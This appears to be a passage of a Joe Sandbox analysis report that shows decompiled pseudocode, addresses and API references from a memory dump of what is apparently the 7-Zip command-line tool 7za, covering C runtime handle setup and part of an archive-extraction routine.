			E0046FCD7() {
				void** _v8;
				struct _STARTUPINFOA _v76;
				signed int* _t48;
				signed int _t50;
				long _t55;
				signed int _t57;
				signed int _t58;
				int _t59;
				signed char _t63;
				signed int _t65;
				void** _t67;
				int _t68;
				int _t69;
				signed int* _t70;
				int _t72;
				intOrPtr* _t73;
				signed int* _t75;
				void* _t76;
				void* _t84;
				void* _t87;
				int _t88;
				signed int* _t89;
				void** _t90;
				signed int _t91;
				int* _t92;

				_t89 = E0046BFC5(0x480);
				if(_t89 == 0) {
					E0046D03C(0x1b);
				}
				 *0x496460 = _t89;
				 *0x496560 = 0x20;
				_t1 =  &(_t89[0x120]); // 0x480
				_t48 = _t1;
				while(_t89 < _t48) {
					_t89[1] = _t89[1] & 0x00000000;
					 *_t89 =  *_t89 | 0xffffffff;
					_t89[2] = _t89[2] & 0x00000000;
					_t89[1] = 0xa;
					_t70 =  *0x496460; // 0x12d0858
					_t89 =  &(_t89[9]);
					_t48 =  &(_t70[0x120]);
				}
				GetStartupInfoA( &_v76);
				__eflags = _v76.cbReserved2;
				if(_v76.cbReserved2 == 0) {
					L25:
					_t72 = 0;
					__eflags = 0;
					do {
						_t75 =  *0x496460; // 0x12d0858
						_t50 = _t72 + _t72 * 8;
						__eflags = _t75[_t50] - 0xffffffff;
						_t90 =  &(_t75[_t50]);
						if(_t75[_t50] != 0xffffffff) {
							_t45 =  &(_t90[1]);
							 *_t45 = _t90[1] | 0x00000080;
							__eflags =  *_t45;
							goto L37;
						}
						__eflags = _t72;
						_t90[1] = 0x81;
						if(_t72 != 0) {
							asm("sbb eax, eax");
							_t55 =  ~(_t72 - 1) + 0xfffffff5;
							__eflags = _t55;
						} else {
							_t55 = 0xfffffff6;
						}
						_t87 = GetStdHandle(_t55);
						__eflags = _t87 - 0xffffffff;
						if(_t87 == 0xffffffff) {
							L33:
							_t90[1] = _t90[1] | 0x00000040;
						} else {
							_t57 = GetFileType(_t87); // executed
							__eflags = _t57;
							if(_t57 == 0) {
								goto L33;
							}
							_t58 = _t57 & 0x000000ff;
							 *_t90 = _t87;
							__eflags = _t58 - 2;
							if(_t58 != 2) {
								__eflags = _t58 - 3;
								if(_t58 == 3) {
									_t90[1] = _t90[1] | 0x00000008;
								}
								goto L37;
							}
							goto L33;
						}
						L37:
						_t72 = _t72 + 1;
						__eflags = _t72 - 3;
					} while (_t72 < 3);
					return SetHandleCount( *0x496560);
				}
				_t59 = _v76.lpReserved2;
				__eflags = _t59;
				if(_t59 == 0) {
					goto L25;
				}
				_t88 =  *_t59;
				_t73 = _t59 + 4;
				_v8 = _t73 + _t88;
				__eflags = _t88 - 0x800;
				if(_t88 >= 0x800) {
					_t88 = 0x800;
				}
				__eflags =  *0x496560 - _t88; // 0x20
				if(__eflags >= 0) {
					L18:
					_t91 = 0;
					__eflags = _t88;
					if(_t88 <= 0) {
						goto L25;
					} else {
						goto L19;
					}
					do {
						L19:
						_t76 =  *_v8;
						__eflags = _t76 - 0xffffffff;
						if(_t76 == 0xffffffff) {
							goto L24;
						}
						_t63 =  *_t73;
						__eflags = _t63 & 0x00000001;
						if((_t63 & 0x00000001) == 0) {
							goto L24;
						}
						__eflags = _t63 & 0x00000008;
						if((_t63 & 0x00000008) != 0) {
							L23:
							_t65 = _t91 & 0x0000001f;
							__eflags = _t65;
							_t67 =  &(0x496460[_t91 >> 5][_t65 + _t65 * 8]);
							 *_t67 =  *_v8;
							_t67[1] =  *_t73;
							goto L24;
						}
						_t68 = GetFileType(_t76);
						__eflags = _t68;
						if(_t68 == 0) {
							goto L24;
						}
						goto L23;
						L24:
						_v8 =  &(_v8[1]);
						_t91 = _t91 + 1;
						_t73 = _t73 + 1;
						__eflags = _t91 - _t88;
					} while (_t91 < _t88);
					goto L25;
				} else {
					_t92 = 0x496464;
					while(1) {
						_t69 = E0046BFC5(0x480);
						__eflags = _t69;
						if(_t69 == 0) {
							break;
						}
						 *0x496560 =  *0x496560 + 0x20;
						__eflags =  *0x496560;
						 *_t92 = _t69;
						_t13 = _t69 + 0x480; // 0x480
						_t84 = _t13;
						while(1) {
							__eflags = _t69 - _t84;
							if(_t69 >= _t84) {
								break;
							}
							 *(_t69 + 4) =  *(_t69 + 4) & 0x00000000;
							 *_t69 =  *_t69 | 0xffffffff;
							 *(_t69 + 8) =  *(_t69 + 8) & 0x00000000;
							 *((char*)(_t69 + 5)) = 0xa;
							_t69 = _t69 + 0x24;
							_t84 =  *_t92 + 0x480;
						}
						_t92 =  &(_t92[1]);
						__eflags =  *0x496560 - _t88; // 0x20
						if(__eflags < 0) {
							continue;
						}
						goto L18;
					}
					_t88 =  *0x496560; // 0x20
					goto L18;
				}
			}

0x0046fcea
0x0046fcef
0x0046fcf3
0x0046fcf8
0x0046fcf9
0x0046fcff
0x0046fd09
0x0046fd09
0x0046fd0f
0x0046fd13
0x0046fd17
0x0046fd1a
0x0046fd1e
0x0046fd22
0x0046fd27
0x0046fd2a
0x0046fd2a
0x0046fd35
0x0046fd3b
0x0046fd40
0x0046fe17
0x0046fe17
0x0046fe17
0x0046fe19
0x0046fe19
0x0046fe1f
0x0046fe22
0x0046fe26
0x0046fe29
0x0046fe78
0x0046fe78
0x0046fe78
0x00000000
0x0046fe78
0x0046fe2b
0x0046fe2d
0x0046fe31
0x0046fe3d
0x0046fe3f
0x0046fe3f
0x0046fe33
0x0046fe35
0x0046fe35
0x0046fe49
0x0046fe4b
0x0046fe4e
0x0046fe67
0x0046fe67
0x0046fe50
0x0046fe51
0x0046fe57
0x0046fe59
0x00000000
0x00000000
0x0046fe5b
0x0046fe60
0x0046fe62
0x0046fe65
0x0046fe6d
0x0046fe70
0x0046fe72
0x0046fe72
0x00000000
0x0046fe70
0x00000000
0x0046fe65
0x0046fe7c
0x0046fe7c
0x0046fe7d
0x0046fe7d
0x0046fe92
0x0046fe92
0x0046fd46
0x0046fd49
0x0046fd4b
0x00000000
0x00000000
0x0046fd51
0x0046fd53
0x0046fd59
0x0046fd61
0x0046fd63
0x0046fd65
0x0046fd65
0x0046fd67
0x0046fd6d
0x0046fdc5
0x0046fdc5
0x0046fdc7
0x0046fdc9
0x00000000
0x00000000
0x00000000
0x00000000
0x0046fdcb
0x0046fdcb
0x0046fdce
0x0046fdd0
0x0046fdd3
0x00000000
0x00000000
0x0046fdd5
0x0046fdd7
0x0046fdd9
0x00000000
0x00000000
0x0046fddb
0x0046fddd
0x0046fdea
0x0046fdf1
0x0046fdf1
0x0046fdfe
0x0046fe06
0x0046fe0a
0x00000000
0x0046fe0a
0x0046fde0
0x0046fde6
0x0046fde8
0x00000000
0x00000000
0x00000000
0x0046fe0d
0x0046fe0d
0x0046fe11
0x0046fe12
0x0046fe13
0x0046fe13
0x00000000
0x0046fd6f
0x0046fd6f
0x0046fd74
0x0046fd79
0x0046fd7e
0x0046fd81
0x00000000
0x00000000
0x0046fd83
0x0046fd83
0x0046fd8a
0x0046fd8c
0x0046fd8c
0x0046fd92
0x0046fd92
0x0046fd94
0x00000000
0x00000000
0x0046fd96
0x0046fd9a
0x0046fd9d
0x0046fda1
0x0046fda7
0x0046fdaa
0x0046fdaa
0x0046fdb2
0x0046fdb5
0x0046fdbb
0x00000000
0x00000000
0x00000000
0x0046fdbd
0x0046fdbf
0x00000000
0x0046fdbf

APIs

Part of subcall function 0046BFC5: __nh_malloc.LIBC ref: 0046BFCF

GetStartupInfoA.KERNEL32(?), ref: 0046FD35
GetFileType.KERNEL32(00000480), ref: 0046FDE0
GetStdHandle.KERNEL32(-000000F6), ref: 0046FE43
GetFileType.KERNEL32(00000000), ref: 0046FE51
SetHandleCount.KERNEL32 ref: 0046FE88

Strings

ddI, xrefs: 0046FD6F

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0043BA05, Relevance: 9.6, APIs: 4, Strings: 1, Instructions: 880

C-Code - Quality: 49%

			E0043BA05(signed int __ecx, intOrPtr* __edx) {
				void* __edi;
				signed int _t395;
				signed int _t399;
				signed int _t402;
				signed char _t405;
				signed int _t408;
				signed int _t410;
				signed int _t411;
				signed int _t413;
				signed int _t415;
				signed int _t417;
				signed int _t419;
				signed int _t420;
				signed int _t421;
				signed int _t422;
				signed int _t423;
				signed int _t424;
				signed int _t430;
				signed int _t432;
				signed int _t434;
				signed int _t438;
				signed int _t439;
				signed int _t441;
				signed int _t443;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				signed int _t452;
				signed int _t457;
				signed int _t460;
				intOrPtr* _t462;
				signed int _t466;
				signed int _t467;
				signed int _t468;
				signed int _t469;
				signed int _t470;
				signed int _t477;
				signed int _t478;
				signed int _t479;
				signed int _t480;
				void* _t487;
				signed int _t494;
				signed int _t495;
				signed int _t496;
				signed int _t502;
				signed int _t503;
				signed int _t505;
				signed int _t506;
				signed int _t508;
				signed int _t509;
				signed int _t510;
				signed int _t512;
				void* _t519;
				signed int _t523;
				signed int _t524;
				signed int _t527;
				void* _t530;
				signed int _t533;
				signed int _t542;
				intOrPtr* _t547;
				signed int _t549;
				signed int _t550;
				intOrPtr _t561;
				signed int _t563;
				intOrPtr* _t633;
				intOrPtr* _t667;
				intOrPtr* _t677;
				signed int _t678;
				signed int _t679;
				void* _t681;
				intOrPtr _t682;
				intOrPtr* _t683;
				signed int* _t684;
				signed int _t685;
				signed int _t686;
				signed int _t687;
				intOrPtr* _t688;
				intOrPtr* _t690;
				signed int _t691;
				void* _t694;
				signed int _t696;
				void* _t698;
				signed int _t713;

				_t667 = __edx;
				E0046B890(E00478726, _t698);
				_t690 =  *((intOrPtr*)(_t698 + 0x20));
				 *(_t698 - 0x2c) = __ecx;
				 *_t690 = 2;
				 *(_t698 - 0x28) = 0;
				_t561 =  *((intOrPtr*)(_t698 + 0xc));
				 *(_t698 - 0xd) =  *(_t698 - 0xd) & 0x00000000;
				 *(_t698 - 0xe) =  *(_t698 - 0xe) & 0x00000000;
				 *(_t698 - 4) = 0;
				 *((char*)(_t698 - 0xf)) = 1;
				 *(_t698 - 0x30) =  *((intOrPtr*)(_t561 + 4));
				if(( *(_t561 + 2) & 0x00000001) == 0) {
					L7:
					_push(0x20);
					_t395 = E004079F2();
					if(_t395 == 0) {
						_t691 = 0;
						__eflags = 0;
					} else {
						 *((intOrPtr*)(_t395 + 4)) = 0;
						 *((intOrPtr*)(_t395 + 8)) = 0;
						 *_t395 = 0x47aa54;
						_t691 = _t395;
					}
					 *(_t698 - 0x1c) = _t691;
					 *(_t698 - 0x3c) = _t691;
					if(_t691 != 0) {
						 *((intOrPtr*)( *_t691 + 4))(_t691);
					}
					_t37 = _t691 + 8; // 0x8
					 *(_t698 - 4) = 1;
					E0040C9B4(_t37,  *(_t698 + 0x10));
					 *(_t691 + 0x18) =  *(_t691 + 0x18) | 0xffffffff;
					 *((intOrPtr*)(_t691 + 0x10)) = 0;
					 *((intOrPtr*)(_t691 + 0x14)) = 0;
					 *((char*)(_t691 + 0x1c)) =  *((intOrPtr*)(_t698 - 0xf));
					 *(_t698 - 0x14) = 0;
					 *((intOrPtr*)(_t698 - 0x24)) =  *((intOrPtr*)(_t561 + 0x10));
					_t399 =  *(_t561 + 0x14);
					 *(_t698 - 4) = 2;
					 *(_t698 - 0x20) = _t399;
					if( *(_t698 - 0xd) == 0) {
						L20:
						asm("cdq");
						_push( *(_t698 - 0x20));
						_push( *((intOrPtr*)(_t698 - 0x24)));
						_t677 = _t667;
						asm("adc edi, ecx");
						_t694 = ( *(_t561 + 0x94) & 0x0000ffff) +  *((intOrPtr*)(_t561 + 0x90)) +  *((intOrPtr*)(_t561 + 0x48));
						asm("adc edi, [ebx+0x4c]");
						_push(_t677);
						_push(_t694); // executed
						_t402 = E00440338( *((intOrPtr*)(_t698 + 8))); // executed
						 *(_t698 + 0x10) = _t402;
						E00437D6C(_t698 - 0x14);
						 *(_t698 - 0x14) =  *(_t698 + 0x10);
						asm("adc edi, [ebp-0x20]");
						 *(_t698 - 0x18) =  *(_t698 - 0x18) & 0x00000000;
						 *((intOrPtr*)(_t698 - 0x50)) = _t694 +  *((intOrPtr*)(_t698 - 0x24));
						 *((intOrPtr*)(_t698 - 0x4c)) = _t677;
						__eflags =  *(_t561 + 2) & 0x00000001;
						 *(_t698 - 4) = 3;
						if(( *(_t561 + 2) & 0x00000001) == 0) {
							_t696 =  *(_t698 - 0x2c);
							L74:
							_t678 = 0;
							__eflags =  *(_t696 + 0x2c);
							if( *(_t696 + 0x2c) <= 0) {
								_t405 =  *(_t698 - 0x30);
								L80:
								__eflags = _t678 -  *(_t696 + 0x2c);
								if(_t678 !=  *(_t696 + 0x2c)) {
									L87:
									 *(_t698 + 0x14) =  *(_t698 + 0x14) & 0x00000000;
									_t408 =  *( *((intOrPtr*)( *((intOrPtr*)(_t696 + 0x30)) + _t678 * 4)) + 4);
									 *(_t698 - 0x30) = _t408;
									 *(_t698 - 4) = 0x12;
									 *((intOrPtr*)( *_t408))(_t408, 0x47a528, _t698 + 0x14);
									_t410 =  *(_t698 + 0x14);
									__eflags = _t410;
									if(_t410 == 0) {
										L115:
										__eflags = _t410;
										 *(_t698 - 4) = 3;
										if(_t410 != 0) {
											 *((intOrPtr*)( *_t410 + 8))(_t410);
										}
										 *(_t698 + 0x10) =  *(_t698 + 0x10) & 0x00000000;
										_t411 =  *(_t698 - 0x30);
										 *(_t698 - 4) = 0x13;
										 *((intOrPtr*)( *_t411))(_t411, 0x47a4f8, _t698 + 0x10);
										_t413 =  *(_t698 + 0x10);
										__eflags = _t413;
										if(_t413 == 0) {
											L121:
											__eflags = _t413;
											 *(_t698 - 4) = 3;
											if(_t413 != 0) {
												 *((intOrPtr*)( *_t413 + 8))(_t413);
											}
											 *(_t698 + 0x1c) =  *(_t698 + 0x1c) & 0x00000000;
											__eflags =  *(_t561 + 2) & 0x00000001;
											 *(_t698 - 4) = 0x14;
											if(( *(_t561 + 2) & 0x00000001) == 0) {
												E0040C9B4(_t698 + 0x1c,  *(_t698 - 0x14));
												goto L150;
											} else {
												__eflags =  *(_t696 + 0x1c);
												_t681 = _t696 + 0x1c;
												if( *(_t696 + 0x1c) == 0) {
													_push(0x78);
													_t478 = E004079F2();
													 *(_t698 + 0x10) = _t478;
													__eflags = _t478;
													 *(_t698 - 4) = 0x15;
													if(_t478 == 0) {
														_t479 = 0;
														__eflags = 0;
													} else {
														_t479 = E0040D550(_t478);
													}
													__eflags = _t479;
													 *(_t698 - 4) = 0x14;
													 *(_t696 + 0x18) = _t479;
													if(_t479 == 0) {
														_t480 = 0;
														__eflags = 0;
													} else {
														_t480 = _t479 + 8;
													}
													E0040C9B4(_t681, _t480);
												}
												E0040C9B4( *(_t696 + 0x18) + 0x74,  *(_t698 - 0x18));
												__eflags =  *(_t698 - 0xd);
												if(__eflags == 0) {
													__eflags =  *(_t698 - 0xe);
													if(__eflags == 0) {
														_t460 = E00457E00( *_t696, __eflags,  *(_t698 - 0x14));
														goto L140;
													}
													_push( *((intOrPtr*)(_t561 + 0x1c)));
													_push( *((intOrPtr*)(_t561 + 0x18)));
													_push( *((intOrPtr*)(_t561 + 0xc)));
													_t679 = E00457FE0(_t681, __eflags,  *(_t698 - 0x14));
													__eflags = _t679;
													if(_t679 != 0) {
														goto L151;
													}
													_push(_t698 + 0x17);
													_t477 = E00458140( *(_t696 + 4));
													_t679 = _t477;
													__eflags = _t679;
													if(_t679 != 0) {
														goto L151;
													}
													__eflags =  *((intOrPtr*)(_t698 + 0x17)) - _t477;
													if( *((intOrPtr*)(_t698 + 0x17)) == _t477) {
														_t679 = 1;
													}
													goto L141;
												} else {
													_push( *(_t698 - 0x14));
													_t460 = E00457A10( *((intOrPtr*)(_t696 + 8)), __eflags);
													L140:
													_t679 = _t460;
													L141:
													__eflags = _t679;
													if(_t679 != 0) {
														L151:
														__eflags = _t679 - 1;
														if(_t679 != 1) {
															__eflags = _t679 - 0x80004001;
															if(_t679 != 0x80004001) {
																_t417 =  *(_t698 + 0x1c);
																 *(_t698 - 4) = 3;
																__eflags = _t679;
																if(_t679 == 0) {
																	__eflags = _t417;
																	if(_t417 != 0) {
																		 *((intOrPtr*)( *_t417 + 8))(_t417);
																	}
																	__eflags =  *((char*)(_t698 - 0xf));
																	 *(_t698 + 0x13) = 1;
																	 *(_t698 + 0xf) = 1;
																	if( *((char*)(_t698 - 0xf)) != 0) {
																		_t434 =  *(_t698 - 0x1c);
																		__eflags =  !( *(_t434 + 0x18)) -  *((intOrPtr*)(_t561 + 0xc));
																		_t361 = _t698 + 0x13;
																		 *_t361 =  !( *(_t434 + 0x18)) ==  *((intOrPtr*)(_t561 + 0xc));
																		__eflags =  *_t361;
																	}
																	__eflags =  *(_t698 - 0xd);
																	if( *(_t698 - 0xd) != 0) {
																		_push(0);
																		_push(0xa);
																		_push( *((intOrPtr*)(_t698 - 0x4c)));
																		_push( *((intOrPtr*)(_t698 - 0x50)));
																		_t563 = E00440338( *((intOrPtr*)(_t698 + 8)));
																		_t430 =  *(_t698 - 0x14);
																		__eflags = _t430;
																		if(__eflags != 0) {
																			 *((intOrPtr*)( *_t430 + 8))(_t430);
																		}
																		 *(_t698 - 0x14) = _t563;
																		_t432 = E00457AD0( *((intOrPtr*)(_t696 + 8)), __eflags, _t563, _t698 + 0xf);
																		__eflags = _t432;
																		if(_t432 != 0) {
																			_t371 = _t698 + 0xf;
																			 *_t371 =  *(_t698 + 0xf) & 0x00000000;
																			__eflags =  *_t371;
																		}
																	}
																	__eflags =  *(_t698 + 0x13);
																	if( *(_t698 + 0x13) == 0) {
																		L189:
																		_push(3);
																		_pop(0);
																		goto L190;
																	} else {
																		__eflags =  *(_t698 + 0xf);
																		if( *(_t698 + 0xf) == 0) {
																			goto L189;
																		}
																		L190:
																		 *((intOrPtr*)( *((intOrPtr*)(_t698 + 0x20)))) = 0;
																		L191:
																		_t419 =  *(_t698 - 0x18);
																		 *(_t698 - 4) = 2;
																		__eflags = _t419;
																		if(_t419 != 0) {
																			 *((intOrPtr*)( *_t419 + 8))(_t419);
																		}
																		_t420 =  *(_t698 - 0x14);
																		 *(_t698 - 4) = 1;
																		__eflags = _t420;
																		if(_t420 != 0) {
																			 *((intOrPtr*)( *_t420 + 8))(_t420);
																		}
																		_t421 =  *(_t698 - 0x1c);
																		 *(_t698 - 4) =  *(_t698 - 4) & 0x00000000;
																		__eflags = _t421;
																		if(_t421 != 0) {
																			 *((intOrPtr*)( *_t421 + 8))(_t421);
																		}
																		_t422 =  *(_t698 - 0x28);
																		 *(_t698 - 4) =  *(_t698 - 4) | 0xffffffff;
																		__eflags = _t422;
																		if(_t422 == 0) {
																			L199:
																			_t423 = 0;
																			goto L200;
																		} else {
																			L198:
																			_t424 = _t422 + 4;
																			__eflags = _t424;
																			 *((intOrPtr*)( *(_t422 + 4) + 0x10))(_t424);
																			goto L199;
																		}
																	}
																}
																__eflags = _t417;
																if(_t417 != 0) {
																	 *((intOrPtr*)( *_t417 + 8))(_t417);
																}
																_t438 =  *(_t698 - 0x18);
																 *(_t698 - 4) = 2;
																__eflags = _t438;
																if(_t438 != 0) {
																	 *((intOrPtr*)( *_t438 + 8))(_t438);
																}
																_t439 =  *(_t698 - 0x14);
																 *(_t698 - 4) = 1;
																__eflags = _t439;
																if(_t439 != 0) {
																	 *((intOrPtr*)( *_t439 + 8))(_t439);
																}
																 *(_t698 - 4) =  *(_t698 - 4) & 0x00000000;
																__eflags =  *(_t698 - 0x1c);
																if( *(_t698 - 0x1c) != 0) {
																	_t443 =  *(_t698 - 0x1c);
																	 *((intOrPtr*)( *_t443 + 8))(_t443);
																}
																 *(_t698 - 4) =  *(_t698 - 4) | 0xffffffff;
																__eflags =  *(_t698 - 0x28);
																if( *(_t698 - 0x28) != 0) {
																	_t441 =  *(_t698 - 0x28) + 4;
																	__eflags = _t441;
																	 *((intOrPtr*)( *_t441 + 0x10))(_t441);
																}
																goto L176;
															}
															 *(_t698 - 4) = 3;
															 *((intOrPtr*)( *((intOrPtr*)(_t698 + 0x20)))) = 1;
															_t449 =  *(_t698 + 0x1c);
															__eflags = _t449;
															if(_t449 != 0) {
																 *((intOrPtr*)( *_t449 + 8))(_t449);
															}
															_t450 =  *(_t698 - 0x18);
															 *(_t698 - 4) = 2;
															__eflags = _t450;
															if(_t450 != 0) {
																 *((intOrPtr*)( *_t450 + 8))(_t450);
															}
															_t451 =  *(_t698 - 0x14);
															 *(_t698 - 4) = 1;
															__eflags = _t451;
															if(_t451 != 0) {
																 *((intOrPtr*)( *_t451 + 8))(_t451);
															}
															 *(_t698 - 4) =  *(_t698 - 4) & 0x00000000;
															__eflags =  *(_t698 - 0x1c);
															if( *(_t698 - 0x1c) != 0) {
																_t452 =  *(_t698 - 0x1c);
																 *((intOrPtr*)( *_t452 + 8))(_t452);
															}
															 *(_t698 - 4) =  *(_t698 - 4) | 0xffffffff;
															__eflags =  *(_t698 - 0x28);
															if( *(_t698 - 0x28) == 0) {
																goto L199;
															} else {
																_t422 =  *(_t698 - 0x28);
																goto L198;
															}
														}
														L152:
														_t457 =  *(_t698 + 0x1c);
														 *(_t698 - 4) = 3;
														__eflags = _t457;
														if(_t457 != 0) {
															 *((intOrPtr*)( *_t457 + 8))(_t457);
														}
														goto L191;
													}
													_t462 =  *(_t696 + 0x18) + 4;
													_t679 =  *((intOrPtr*)( *_t462 + 0xc))(_t462,  *(_t698 - 0x14));
													__eflags = _t679;
													if(_t679 == 0) {
														 *(_t698 - 0x28) =  *(_t696 + 0x18);
														E0040C9B4(_t698 + 0x1c,  *(_t696 + 0x1c));
														__eflags =  *(_t698 - 0xd);
														if( *(_t698 - 0xd) == 0) {
															L150:
															_t415 =  *(_t698 - 0x30);
															_t679 =  *((intOrPtr*)( *_t415 + 0xc))(_t415,  *(_t698 + 0x1c),  *(_t698 - 0x1c), 0, _t561 + 0x18,  *((intOrPtr*)(_t698 + 0x18)));
															goto L151;
														}
														_t466 = E00457A80( *((intOrPtr*)(_t696 + 8)));
														__eflags = _t466;
														if(_t466 != 0) {
															goto L150;
														}
														goto L152;
													}
													_t467 =  *(_t698 + 0x1c);
													 *(_t698 - 4) = 3;
													goto L144;
												}
											}
										} else {
											_t679 =  *((intOrPtr*)( *_t413 + 0xc))(_t413,  *(_t698 + 0x1c));
											__eflags = _t679;
											if(_t679 == 0) {
												_t413 =  *(_t698 + 0x10);
												goto L121;
											}
											_t467 =  *(_t698 + 0x10);
											 *(_t698 - 4) = 3;
											L144:
											__eflags = _t467;
											if(_t467 != 0) {
												 *((intOrPtr*)( *_t467 + 8))(_t467);
											}
											L35:
											_t468 =  *(_t698 - 0x18);
											 *(_t698 - 4) = 2;
											__eflags = _t468;
											if(_t468 != 0) {
												 *((intOrPtr*)( *_t468 + 8))(_t468);
											}
											_t469 =  *(_t698 - 0x14);
											 *(_t698 - 4) = 1;
											__eflags = _t469;
											if(_t469 != 0) {
												 *((intOrPtr*)( *_t469 + 8))(_t469);
											}
											_t470 =  *(_t698 - 0x1c);
											 *(_t698 - 4) =  *(_t698 - 4) & 0x00000000;
											__eflags = _t470;
											if(_t470 != 0) {
												 *((intOrPtr*)( *_t470 + 8))(_t470);
											}
											L176:
											_t423 = _t679;
											L200:
											 *[fs:0x0] =  *((intOrPtr*)(_t698 - 0xc));
											return _t423;
										}
									}
									 *(_t698 + 0x13) =  *(_t561 + 2);
									_t679 =  *((intOrPtr*)( *_t410 + 0xc))(_t410, _t698 + 0x13, 1);
									__eflags = _t679;
									if(_t679 == 0) {
										_t410 =  *(_t698 + 0x14);
										goto L115;
									}
									_t467 =  *(_t698 + 0x14);
									 *(_t698 - 4) = 3;
									goto L144;
								}
								 *(_t698 - 0x30) =  *(_t698 - 0x30) & 0x00000000;
								__eflags = _t405;
								 *(_t698 - 4) = 0xe;
								 *(_t698 - 0x34) = _t405;
								if(_t405 != 0) {
									_t682 = 1;
									__eflags = _t405 - _t682;
									if(_t405 != _t682) {
										__eflags = _t405 - 6;
										if(_t405 != 6) {
											__eflags = _t405 - 0xe;
											if(_t405 != 0xe) {
												__eflags = _t405 - 0x62;
												if(_t405 != 0x62) {
													__eflags = _t405 - 0xc;
													if(__eflags != 0) {
														__eflags = _t405 - 0xff;
														if(__eflags <= 0) {
															asm("cdq");
															_t683 = _t667;
															_t487 = (_t405 & 0x000000ff) + 0x40100;
															asm("adc edi, 0x0");
															L109:
															_push(_t683);
															_push(_t487);
															_t679 = E0040C964(_t698 - 0x30, 0, __eflags);
															__eflags = _t679;
															if(_t679 == 0) {
																__eflags =  *(_t698 - 0x30);
																if( *(_t698 - 0x30) != 0) {
																	L86:
																	_push(_t698 - 0x34);
																	_t678 = E0043CF71(_t696 + 0x24);
																	 *(_t698 - 4) = 3;
																	E0043361B(_t698 - 0x30);
																	goto L87;
																}
																 *((intOrPtr*)( *((intOrPtr*)(_t698 + 0x20)))) = 1;
																L113:
																 *(_t698 - 4) = 3;
																E0043361B(_t698 - 0x30);
																L23:
																_t494 =  *(_t698 - 0x18);
																 *(_t698 - 4) = 2;
																__eflags = _t494;
																if(_t494 != 0) {
																	 *((intOrPtr*)( *_t494 + 8))(_t494);
																}
																_t495 =  *(_t698 - 0x14);
																 *(_t698 - 4) = 1;
																__eflags = _t495;
																if(_t495 != 0) {
																	 *((intOrPtr*)( *_t495 + 8))(_t495);
																}
																_t496 =  *(_t698 - 0x1c);
																 *(_t698 - 4) =  *(_t698 - 4) & 0x00000000;
																__eflags = _t496;
																if(_t496 != 0) {
																	 *((intOrPtr*)( *_t496 + 8))(_t496);
																}
																goto L199;
															}
															 *(_t698 - 4) = 3;
															E0043361B(_t698 - 0x30);
															goto L35;
														}
														 *((intOrPtr*)( *((intOrPtr*)(_t698 + 0x20)))) = _t682;
														goto L113;
													}
													_t487 = 0x40202;
													_t683 = 0;
													goto L109;
												}
												_push(0x1cf0);
												_t502 = E004079F2();
												 *(_t698 + 0x10) = _t502;
												__eflags = _t502;
												 *(_t698 - 4) = 0x11;
												if(_t502 == 0) {
													L96:
													_t503 = 0;
													__eflags = 0;
													L97:
													 *(_t698 - 4) = 0xe;
													L85:
													E0040C9B4(_t698 - 0x30, _t503);
													goto L86;
												}
												_t503 = E00452F00(_t502, _t667, _t682);
												goto L97;
											}
											_push(0x10);
											_t505 = E004079F2();
											 *(_t698 + 0x10) = _t505;
											__eflags = _t505;
											 *(_t698 - 4) = 0x10;
											if(_t505 == 0) {
												goto L96;
											}
											_t503 = E0043B919(_t505);
											goto L97;
										}
										_push(0x248);
										_t506 = E004079F2();
										 *(_t698 + 0x10) = _t506;
										__eflags = _t506;
										 *(_t698 - 4) = 0xf;
										if(_t506 == 0) {
											goto L96;
										}
										_t503 = E0044DEA0(_t506);
										goto L97;
									}
									_push(0xc008);
									_t503 = E004079F2();
									__eflags = _t503;
									if(_t503 == 0) {
										L84:
										_t503 = 0;
										__eflags = 0;
										goto L85;
									}
									 *(_t503 + 4) =  *(_t503 + 4) & 0x00000000;
									 *_t503 = 0x47b758;
									goto L85;
								}
								_push(0x18);
								_t503 = E004079F2();
								__eflags = _t503;
								if(_t503 == 0) {
									goto L84;
								}
								 *(_t503 + 4) = 0x47b080;
								 *((intOrPtr*)(_t503 + 8)) = 0;
								 *((intOrPtr*)(_t503 + 0x10)) = 0;
								 *((intOrPtr*)(_t503 + 0xc)) = 0;
								 *((intOrPtr*)(_t503 + 0x14)) = 0;
								 *_t503 = 0x47b070;
								 *(_t503 + 4) = 0x47b060;
								goto L85;
							}
							_t633 =  *((intOrPtr*)(_t696 + 0x30));
							_t405 =  *(_t698 - 0x30);
							while(1) {
								_t667 =  *_t633;
								__eflags =  *_t667 - _t405;
								if( *_t667 == _t405) {
									goto L80;
								}
								_t678 = _t678 + 1;
								_t633 = _t633 + 4;
								__eflags = _t678 -  *(_t696 + 0x2c);
								if(_t678 <  *(_t696 + 0x2c)) {
									continue;
								}
								goto L80;
							}
							goto L80;
						}
						__eflags =  *(_t698 - 0xd);
						if( *(_t698 - 0xd) == 0) {
							__eflags =  *(_t698 - 0xe);
							_t696 =  *(_t698 - 0x2c);
							if( *(_t698 - 0xe) == 0) {
								__eflags =  *(_t696 + 0xc);
								if( *(_t696 + 0xc) == 0) {
									_push(0x24);
									_t686 = E004079F2();
									 *(_t698 + 0x10) = _t686;
									__eflags = _t686;
									 *(_t698 - 4) = 6;
									if(_t686 == 0) {
										_t686 = 0;
										__eflags = 0;
									} else {
										E0043AB8E(_t686);
										 *_t686 = 0x47b778;
										 *((intOrPtr*)(_t686 + 4)) = 0x47b768;
									}
									 *(_t698 - 4) = 3;
									 *_t696 = _t686;
									E0040C9B4(_t696 + 0xc, _t686);
								}
								_push( *(_t696 + 0xc));
							} else {
								__eflags =  *(_t696 + 0x10);
								if( *(_t696 + 0x10) == 0) {
									_push(0x184);
									_t687 = E004079F2();
									 *(_t698 + 0x10) = _t687;
									__eflags = _t687;
									 *(_t698 - 4) = 5;
									if(_t687 == 0) {
										_t687 = 0;
										__eflags = 0;
									} else {
										E0043C5FC(_t687);
										 *_t687 = 0x47b7b0;
